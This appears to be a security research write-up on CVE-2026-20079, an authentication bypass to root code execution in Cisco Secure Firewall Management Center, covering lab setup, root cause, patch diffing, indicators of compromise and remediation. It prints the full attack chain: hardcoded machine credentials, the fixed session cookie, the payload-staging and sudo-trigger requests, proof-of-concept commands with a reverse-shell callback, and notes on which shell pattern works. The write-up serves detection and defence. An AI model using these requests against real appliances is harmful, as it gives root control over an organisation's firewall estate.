Every Cisco Secure Firewall Management Center creates a database session at boot time for an internal machine account. This is normal. Appliances run background processes that need to communicate with their own web tier. What makes CVE-2026-20079 worth a CVSS score of 10.0 is the session ID.
Instead of a random UUID, the machine session for the user csm_processes uses the literal string csm_processes. It remains identical across appliances and reboots. The session sits in the same sfsnort.sessions table used for human logins. Anyone who knows this session ID can attempt to use it.
The advisory describes the flaw as “an improper system process that is created at boot time” but provides little detail. VulnCheck documented the exploitation mechanism, which was independently reproduced against FMC 10.0.1-1.
The attack relies on session fixation and privilege escalation. The attacker sends Cookie: CGISESSID=csm_processes and authenticates to the machine session as report:snortrules. This is one of five hardcoded machine credentials found in the appliance’s own repair_users.pl file.
The server retains the fixed session ID and assigns it an authenticated identity. From there, two CSRF-token-protected CGI endpoints allow a form field to be written to /var/tmp/license.tmp. The appliance’s privileged software updater, accessed through pjb.cgi, then executes /usr/bin/sudo against that file.
The result is root access to the system. That system stores the policies, configurations, and user credentials of every managed firewall.
Cisco published the advisory on March 4, 2026. At the time, there was no evidence of exploitation and no workaround. Hot fixes followed on July 29, alongside CVE-2026-20316, a static-credential vulnerability in the same product that was already being exploited.
By August, Cisco PSIRT had acknowledged active exploitation of CVE-2026-20079. CISA added it to the Known Exploited Vulnerabilities (KEV) catalog on September 9, with a federal remediation deadline of September 12.
Talos now tracks three distinct actor clusters:
- UAT-12197 deploys JSP web shells and dumps FMC credentials.
- UAT-11823 has tooling overlaps with Sandworm. The group replaces the license file with a Makeself-packed root shell, exfiltrates managed-device configurations, and deploys Cyclops Blink.
- UAT-11988, Qilin ransomware affiliates, gained access through the static credentials in CVE-2026-20316. They then used the same privileged-updater mechanism to move into Active Directory.

Setup the lab
The lab runs on an appliance, not a container. FMCv images are available through Cisco Software Central with a Cisco Connection Online (CCO) account. Some releases also require a service contract.
The appliance has specific resource requirements at least:
- 28 GB of RAM
- 4 vCPUs
- Fixed 250 GB disk.
It is essential to understand that upgrades will fail if the system has less than 28 GB of RAM.
| Image | FMCv qcow2 (KVM) or OVF (ESXi), from Cisco Software Central |
| Version (vulnerable) | Use either version 7.7.11 (volume 7.7.11-1061) or version 10.0.1-1, which was used in the independent SecLists reproduction. |
| Version (fixed control) | Hotfix AM-7.7.12.1-2 (7.7) or P-10.0.1.1-2 (10.0), build 7.7.12-3 |
| NIC | virtio (KVM) / e1000 (ESXi), on an isolated lab segment |
| Ports | TCP 443 only; the whole chain lives in CGI under the management interface. 8305 (sftunnel) is irrelevant unless you attach an FTD sensor |
According to NVD, the affected range covers on-premises builds from 7.0.x through 7.7.12 and versions 10.0.0–10.0.1, spanning 71 CPE entries. cdFMC, FDM, ASA, and FTD are not affected. The vulnerability is limited to the management plane.
Build details and lab-specific considerations are documented in lab/fmc-lab.md.
One critical step is not covered in the vendor documentation: reboot the lab FMC immediately before testing. The vulnerability depends on a session row created during boot.
Authenticated dashboard activity or periodic cleanup can remove that row, making exploitation unreliable even on a vulnerable version. VulnCheck identified these limitations as significant constraints.
Take a snapshot before running any invasive test modes. The session-upgrade process permanently changes server-side state.
First, verify the precondition without modifying the system. The –mode check option in exploit/poc.py uses GET requests only.
</> Bash
python3 exploit/poc.py --target https://192.168.56.40 --mode fingerprint --insecure
python3 exploit/poc.py --target https://192.168.56.40 --mode check --insecure

Verifying the patch
Apply the branch hotfix, reboot the FMC, and rerun –mode check.
The patch updates the Apache template to set X-Auth-User-Type: 1 on non-local requests. SF/Auth.pm then rejects sessions whose user type conflicts with this header.
As a result, the fixed machine session no longer resolves to an authenticated session. The check returns an HTTP redirect instead of 200 OK, and the session-upgrade attempt fails at the first step. All subsequent stages of the exploit chain are therefore blocked.
Proof-of-Concept
bash
python3 exploit/poc.py --target https://192.168.56.40 \
--mode exploit --callback-host 192.168.56.1 --insecure
=== CVE-2026-20079 - Cisco FMC auth bypass -> root RCE ===
[*] Upgrading session as report:snortrules
[+] HTTP 302 redirect — session retained and authenticated (upgrade worked)
[+] CSRF token: 8f4c21a9b7d3…
[*] sajaxintf.cgi - HTTP 200: "License is Invalid."
[+] Payload staged at /var/tmp/license.tmp (Makeself script)
[*] POST /pjb.cgi upgradeReadinessCall — this request hangs while the shell calls home
[+] Root callback from 192.168.56.40
------------------------------------------------------------
uid=0(root) gid=0(root) groups=0(root)
------------------------------------------------------------
(The lighter –mode proof stops after the write stage and prints
[*] On the target: cat /tmp/cve-2026-20079-proof (expect uid=0 output) for manual
verification.)
| HTTP 302 redirect | The fixed machine session accepted a login and kept its id. A baseline failed login returns 401; the 302 is the signature of the fixation. |
| CSRF token: 8f4c21a9b7d3… | The upgraded session can mint sf_action_id, so it now passes the framework’s own anti-CSRF checks. |
| “License is Invalid.” | The validation endpoint failed and wrote the file anyway. The write is a side effect, not a success path. |
| uid=0(root) … | The privileged updater executed the attacker-supplied file under sudo. Not the web user: root. |
The Four Requests on the Wire
For reproduction and detection-rule writing, the exact shapes of the four requests:
http
POST /login.cgi?logon=Continue HTTP/1.1
Cookie: CGISESSID=csm_processes
Content-Type: application/x-www-form-urlencoded
username=report&password=snortrules&target=
A baseline failed login returns HTTP 401. This request returns HTTP 302, but the session ID remains unchanged. That is the signature of session fixation.
The next step is to:
http
GET /ui/user/general # page HTML embeds: var sf_action_id = '0123456789…'
GET /help/about.cgi # non-intrusive alternative that also mints the token
http
POST /sajaxintf.cgi?rs=callServerFunc&rstime=1712345678901
["0123456789…", "validateLicense", "<Makeself payload, unicode-escaped>"]
The server writes the payload directly to /var/tmp/license.tmp before validating it, then returns the message “License is Invalid.” The final step triggers execution.
http
POST /pjb.cgi
function=SF::UI::DataObjectLibrary::upgradeReadinessCall&
parameters=["/var/tmp/license.tmp",["<random-UUID>"]]&
sf_action_id=0123456789…
Two aspects of this chain stand out.
First, the failure messages are misleading. validateLicense returns “License is Invalid” even though the payload has already been written to disk. The pjb.cgi trigger then hangs until the request times out while the reverse shell attempts to connect back.
An attacker can gain root access even when every HTTP response appears to indicate failure.
Second, the updater enforces a specific payload format. It accepts scripts that match the MAKESELF type and requires the marker string # This script was generated using Makeself.
A plain shell script beginning with a shebang is rejected. The Bash /dev/tcp reverse-shell approach fails, while the FIFO and netcat pattern works.

Static Analysis and Root Cause
The normal workflow
To understand the flaw, it helps to look at how FMC’s management plane is designed to work. Apache’s httpsd service listens on TCP 443 and acts as the main entry point. It routes requests to several backend services: a Mojolicious Perl web tier (/ui/* and *.cgi pages), an asynchronous AJAX handler (sajaxintf.cgi), a bulk API bridge (pjb.cgi), and REST endpoints.
These services share a MariaDB database named sfsnort. It stores user accounts in sfsnort.users and active sessions in sfsnort.sessions.
A human session starts when an unauthenticated browser is redirected to /ui/login. The browser submits credentials to login.cgi, which checks them against sfsnort.users. If authentication succeeds, SF::Auth::MakeSession creates a row in sfsnort.sessions.
Three properties of that session are central to the security model.
1. The session ID is random. A UUID, such as 80a3ec54…, becomes the CGISESSID cookie. Session lookup matches the cookie against _SESSION_ID. Functions such as GetSession, CheckLogin, permission checks, and CSRF validation rely on the assumption that an attacker cannot guess or choose another user’s session ID.
2. The session contains its authentication details from the start. These include usertype: 1 (AUTH_IS_USER), the username, user_access_type, domain assignments, expiry timers, and a per-session CSRF token called sf_action_id. State-changing endpoints, including sajaxintf.cgi and pjb.cgi, check this token on each request.
3. Machine accounts follow a separate authentication path. The repair_users.pl script creates internal accounts such as report, sftop10user, SRU, Sourcefire, and csm_processes. These accounts use static passwords and have usertype = 2 (AUTH_IS_MACHINE).
Background jobs are expected to use them from localhost. They are not intended to authenticate through the public login.cgi endpoint, and they do not have UI permissions.
Two downstream processes also rely on these authentication controls.
The sajaxintf.cgi function validateLicense writes its input to /var/tmp/license.tmp before validating it. This is considered safe because only an authenticated administrator should be able to call the function.
The software-updater pipeline follows a similar assumption. The upgradeReadinessCall and readinessInstall functions eventually reach SF::System::Privileged::InstallUpdate, which executes installation commands through RunCmd and /usr/bin/sudo.
The design assumes that any submitted package has passed signature checks and been provided by an administrator.
The problem arises when a boot-time process violates the first assumption. A predictable session ID undermines the session lookup mechanism, potentially allowing an attacker to cross authentication boundaries and reach privileged functionality intended for administrators.
The downstream controls then operate on the assumption that authentication has already been handled correctly, allowing the initial flaw to compromise the security of the wider chain.
The boot-time session
At boot, the Go binary auth-daemon creates a session row in the sfsnort.sessions MySQL table, which also stores sessions for human users. The row belongs to the machine account csm_processes, with usertype = 2 (AUTH_IS_MACHINE) and active = 0.
Instead of a randomly generated UUID, the _SESSION_ID column contains the static string csm_processes.
Since session IDs should be unpredictable, using a fixed username makes the identifier guessable. The same row exists on every FMC that has booted.
The appliance’s repair_users.pl script defines several hardcoded machine credentials: report:snortrules, sftop10user:snortrules, SRU:snortrules, Sourcefire:snortrules, and csm_processes:csmdaemon.
The bypass relies on two separate elements: the predictable machine session ID and the permissions of the report account. Logging in directly as csm_processes would invalidate the existing session, so the attack instead authenticates as a report while using the machine account’s session.

The File Write And the Root Trigger
An authenticated, low-privilege session is enough to retrieve the CSRF token from GET /ui/user/general, whose HTML contains sf_action_id. A POST request to /sajaxintf.cgi?rs=callServerFunc with [action_id, “validateLicense”, payload] passes the payload to the license validator, which writes it verbatim to /var/tmp/license.tmp before evaluating it.
Execution is triggered by a POST request to /pjb.cgi, which invokes SF::UI::DataObjectLibrary::upgradeReadinessCall with the file path. The call chain proceeds through readinessInstall, GetUpdateFileInfo, SF::Update::Install, _aqInstallTask, SF::System::Privileged::InstallUpdate, and SF::System::Wrappers::RunCmd. The system wrapper prefixes the command with /usr/bin/sudo and executes it using open3.
This turns the appliance’s software-update mechanism into the execution path. The payload must therefore resemble an update package and pass the MAKESELF type check.
A separate potential entry point remains in the batchResults function in sajaxintf.cgi. It deserializes Perl Storable data with path traversal enabled under local $Storable::Eval = 1.
No working STORABLE_thaw gadget has been published, so the current chain relies on the license-file route instead. The patch does not address the deserialization issue.
Why “Authentication Bypass” Undersells It
Authentication bypass describes the initial access path, but not the full impact. The vulnerability results from a chain of weaknesses: a static session ID, five hardcoded credential pairs, a license handler that writes a payload before evaluating it, and an updater that executes commands through sudo.
Together, these flaws create a path from unauthenticated access to root-level code execution on the appliance that manages the network’s firewalls.
The pattern also reflects weaknesses seen in earlier vulnerabilities affecting the same product family. CVE-2025-20265 involved FMC RADIUS command injection and carried a CVSS score of 10.0.
CVE-2025-20302 involved a report access bypass, while CVE-2026-20316 involved static credentials and was exploited in July 2026. Each reflects a different manifestation of weaknesses in authentication and access control.
The March 2026 vulnerability bundle also included CVE-2026-20131, an insecure-deserialization flaw involving a user-supplied Java byte stream that enabled root-level remote code execution.
It carried a CVSS score of 10.0 and reportedly faced attempted exploitation within the same month. The license-file and updater chain also bears a resemblance to the persistence technique used in the 2024 ArcaneDoor campaign against Cisco ASA devices.
Patch Diffing
Cisco released branch-specific hot fixes on July 29, 2026. However, it has not published a consolidated list of the first fixed builds, only the following bundles: GB-7.0.9.1-3, HL-7.2.11.1-4, HG-7.4.7.1-3, CY-7.6.5.1-2, AM-7.7.12.1-2, and P-10.0.1.1-2.
Cisco has not released a public patch diff. VulnCheck’s patch comparison, which identifies roughly 25 changed lines across two files, remains the only publicly available record of the code changes.

The Apache configuration template httpsd_conf.tt now sets X-Auth-User-Type: 1 for non-local requests. SF/Auth.pm rejects sessions whose stored usertype does not match the value in that header.
That single comparison breaks the exploit chain. The csm_processes session has usertype = 2, while the header specifies 1, so authentication fails. Human logins remain unaffected because their stored user types match the header.
It is a narrow but effective fix for this vulnerability. The static session ID remains in the database, the five hardcoded machine credential pairs remain in repair_users.pl.
The license validator still writes data before validating it, and the updater still executes commands through sudo.
The patch closes one path through the vulnerability chain, not the underlying weaknesses. The disclosure of static credentials in CVE-2026-20316 four months later, followed by active exploitation within weeks, suggests that other paths remain exploitable.
Cisco’s promised comprehensive hardening release, scheduled for the week of September 14, is the more meaningful test.
The question is whether Cisco addresses the recurring weaknesses in authentication and privilege boundaries or simply closes the specific path exposed by this vulnerability.
Conclusion
Impact
Root on FMC is not one compromised box. The management center holds every managed firewall’s policy set, its configuration inventory, and (as Talos’s first cluster demonstrated) its own user credentials table, queryable with the appliance’s bundled OmniQuery.pl.
The second cluster exfiltrated managed-device configurations and installed Cyclops Blink with boot-persistence. The third, Qilin affiliates, used the same privileged-updater path as a stepping stone into Active Directory and ransomware. Three clusters, two CVEs, one product, six months.

The exposure figures are relatively small, and that is precisely what makes them misleading. Censys identified roughly 300 internet-exposed FMC instances, while FOFA counted between 600 and 700.
These are not mass-market devices. They are concentrated in enterprise and government environments, where each instance can provide control over an entire firewall estate.
The frequently cited figure of approximately 48,800 devices relates to the 2025 ASA/FTD VPN vulnerabilities, not this CVE. Applying that number here would misrepresent the scale of exposure.
CISA’s Known Exploited Vulnerabilities (KEV) catalog lists the ransomware involvement field as “Unknown.”
However, Talos’s attribution of the activity to Qilin, under its cluster-three classification, raises questions about whether that assessment adequately reflects the threat.
Remediation
1. Install the branch-specific hot fix. For version 7.7, use AM-7.7.12.1-2; for version 10.0, use P-10.0.1.1-2, or install the equivalent fix for your branch. Verify that the running build has changed.
An entry in the update history is not sufficient proof that the fix is active.
2. Restrict access to the management interface. No workaround eliminates the vulnerability, but keeping the FMC management interface off the public internet reduces exposure to external attackers.
If it is not already isolated, restrict HTTPS access on port 443 to a dedicated management VLAN and authorized administrative sources.
3. Check for compromise before patching. Run the search recommended in the advisory: zgrep “package_info.*license” messages*.
Look for references to /var/tmp/license.tmp, particularly entries containing USER=root and package_info.pl /var/tmp/license.tmp –lsm. These are indicators that the root-level execution stage may have run.
Follow Cisco’s guidance: hot fixes prevent further exploitation but may not remediate an existing compromise. Engage Cisco Technical Assistance Center (TAC) if you find suspicious evidence.
4. Hunt for Talos indicators of compromise (IOCs). Search for home.jsp in the CSM Tomcat webroot, the identified cmd.jar artifact, and Cyclops Blink-related indicators.
Compare file hashes against the complete values published by Talos; the abbreviated hashes listed here are insufficient for definitive identification. Check network logs and security telemetry for connections to the following infrastructure:
- 89.34.96[.]56
- 208.123.119[.]215
- 91.214.78[.]118
- 104.218.165[.]253
- 43.204.2[.]142
5. Rotate credentials after investigating and containing a compromise. Observed intrusions included the dumping of FMC user credentials.
Assume stored credentials and secrets used to manage downstream devices may have been exposed. Rotate affected credentials, including managed-device secrets, and investigate potential lateral movement.
Credential rotation complements incident response; it does not replace containment, eradication, or recovery.
Takeaway
The lesson from CVE-2026-20079 is that appliances often fail at the seams between components.
Internal daemons authenticate, machine accounts serve legitimate purposes, license validators process files, and update mechanisms run with elevated privileges.
Each has a reason to exist. The vulnerability emerges when these components interact in ways their designers did not adequately account for.
The fix adds a header check that breaks one link in the exploit chain, but the underlying weaknesses remain. The static session ID, hardcoded machine credentials, and unsafe license-file handling leave other paths for researchers or attackers to investigate.
The product family’s recent history, including CVE-2025-20265, CVE-2026-20316, and now CVE-2026-20079, raises a broader question about how these systems are designed and reviewed.
A session table containing a predictable machine-session identifier is more than a coding oversight; it calls for a fundamental design question: what happens when someone uses that identifier in an unintended way?
For defenders, the priority is clear. Internet-exposed FMC instances represent potential access to the control plane governing an organization’s firewall estate.
Talos’s reports of three activity clusters, spanning state-linked activity, Sandworm-associated tooling, and ransomware affiliates, point to different threat actors targeting the same management layer.
Install the hot fix for your branch. Check the logs Cisco identified. Investigate the indicators of compromise, and treat any suspected compromise as an incident requiring more than a patch.
Above all, stop treating HTTPS port 443 on the FMC as a routine administrative convenience. It provides access to the system that controls the network’s security boundaries.
References:
- Cisco advisory cisco-sa-onprem-fmc-authbypass-5JPp45V2,
- NVD entry for CVE-2026-20079:
https://nvd.nist.gov/vuln/detail/CVE-2026-20079
- CISA KEV entry:
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-20079